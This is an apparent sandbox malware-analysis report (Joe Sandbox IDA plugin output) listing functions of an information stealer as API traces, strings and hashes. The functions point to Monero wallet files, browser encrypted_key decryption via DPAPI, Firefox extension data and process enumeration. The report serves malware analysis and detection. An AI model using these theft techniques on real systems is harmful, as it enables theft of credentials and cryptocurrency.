Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 6cdb95b5df8a303ff7c7ada9350ccd64c93bbd5ee3513a38d593837da7044b4e
Instruction ID: ddd88d02e0d3355bf8470c19a8c4de6788c323a7c51f3fd4630425147b47cfd6
Opcode Fuzzy Hash: 6cdb95b5df8a303ff7c7ada9350ccd64c93bbd5ee3513a38d593837da7044b4e
Instruction Fuzzy Hash: 85E134728111089ACB04FBA5DD91EEE733CAF14314F50815EF51672091EF386A9ECB7A

Function 0040D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(00420E1A,013FE9B8,004205AE,?,?,004013F9,?,0000001A,00420E1A,00000000,?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D801
lstrlen.KERNEL32(00000000), ref: 0040D99F
lstrlen.KERNEL32(00000000), ref: 0040D9B3
DeleteFileA.KERNEL32(00000000), ref: 0040DA32

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 60a51f77561e766c12a58fe5b11736f93c8377799ebc6597fc5ebbd305ec19e5
Instruction ID: 30f7704c13366a17925c5eaa4a94e79927efa66a8a92483c7baa761e0d0dbf9b
Opcode Fuzzy Hash: 60a51f77561e766c12a58fe5b11736f93c8377799ebc6597fc5ebbd305ec19e5
Instruction Fuzzy Hash: 848122719111089BCB04FBE1DD52EEE7339AF14314F50452EF407A6091EF386A9ACB7A

Function 0040F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(0040148F), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421580,00420D92), ref: 0040F54C
lstrlen.KERNEL32(00000000), ref: 0040F56B

Strings

moz-extension+++, xrefs: 0040F5AD
^userContextId=4294967295, xrefs: 0040F59C

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 49e05a6d9a615d520f7dacc1366de8ed3e90270b7fc7a6d36335d90b157623fe
Instruction ID: 431312e06e4e118a9a68feb07ac8eaa96768a2afdec7ba1937323e72019175af
Opcode Fuzzy Hash: 49e05a6d9a615d520f7dacc1366de8ed3e90270b7fc7a6d36335d90b157623fe
Instruction Fuzzy Hash: 19516575D11108AACB04FBB1DC52DED7338AF54314F40852EF81667191EE386B9ACBAA

Function 004170D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

sA, xrefs: 004172AE, 00417179, 0041717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C
sA, xrefs: 00417111

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-2614523144
Opcode ID: df9a21d21396c57d17364ae76b2cb52e5d6abedb9e52d1466a92d992ca11bc30
Instruction ID: 3bbaba5ef3b78f76673912aee6bd34e48ca22dc5f881b27d830589ff7ffb1aff
Opcode Fuzzy Hash: df9a21d21396c57d17364ae76b2cb52e5d6abedb9e52d1466a92d992ca11bc30
Instruction Fuzzy Hash: 885181B0D44218ABDB14EBA1DC85BEEB774AF44304F1040AEE51976281EB786EC9CF5D

Function 00409CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(0040148F), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Part of subcall function 00409B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
Part of subcall function 00409B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
Part of subcall function 00409B60: LocalFree.KERNEL32(?), ref: 00409BD3

Strings

, xrefs: 00409DC1
"encrypted_key":", xrefs: 00409D30
DPAPI, xrefs: 00409D89

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: e4c697f312ddd263729fa09fedbc4048d39437ec17c4b767da634f05aad8b548
Instruction ID: 039241fe8b8d6cc2035ea689baa2e3a7bfb3e9126a11457fde9e9847fa8df1c0
Opcode Fuzzy Hash: e4c697f312ddd263729fa09fedbc4048d39437ec17c4b767da634f05aad8b548
Instruction Fuzzy Hash: 243152B5D10109ABCB04EBE4DD85AEF77B8AF48304F14452AE915B7282E7389E04CBA5

Function 00418680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Process32First.KERNEL32(?,00000128), ref: 004186DE
Process32Next.KERNEL32(?,00000128), ref: 004186F3

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

CloseHandle.KERNEL32(?), ref: 00418761

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 8b5492bb2172847200a0110b71b51f63116bc16bb71ede11aa5be0a2ca02365c
Instruction ID: 8f5abf7c5654a811b9b3f094c7d3948ba22bca0c3321aba4e2188e2e86b1b5ea
Opcode Fuzzy Hash: 8b5492bb2172847200a0110b71b51f63116bc16bb71ede11aa5be0a2ca02365c
Instruction Fuzzy Hash: F7315E71902218ABCB24EF95DC45FEEB778EF45714F10419EF10AA21A0DF386A85CFA5

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013F8930,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,013F8930,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 5d3735d569cffe7bbea000e7acfc03b16a2d4300877d619867e3aa12521868c8
Instruction ID: 3c4b1c3760862ff095f4b16c882d5da3ff279df4080b6ba6633acb61265b60b7
Opcode Fuzzy Hash: 5d3735d569cffe7bbea000e7acfc03b16a2d4300877d619867e3aa12521868c8
Instruction Fuzzy Hash: E9F0BE34A84219AFE710EBE0DC06BFE7B35EF04381F11451AF502A11C0CBB8A581D65F

Function 004047B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
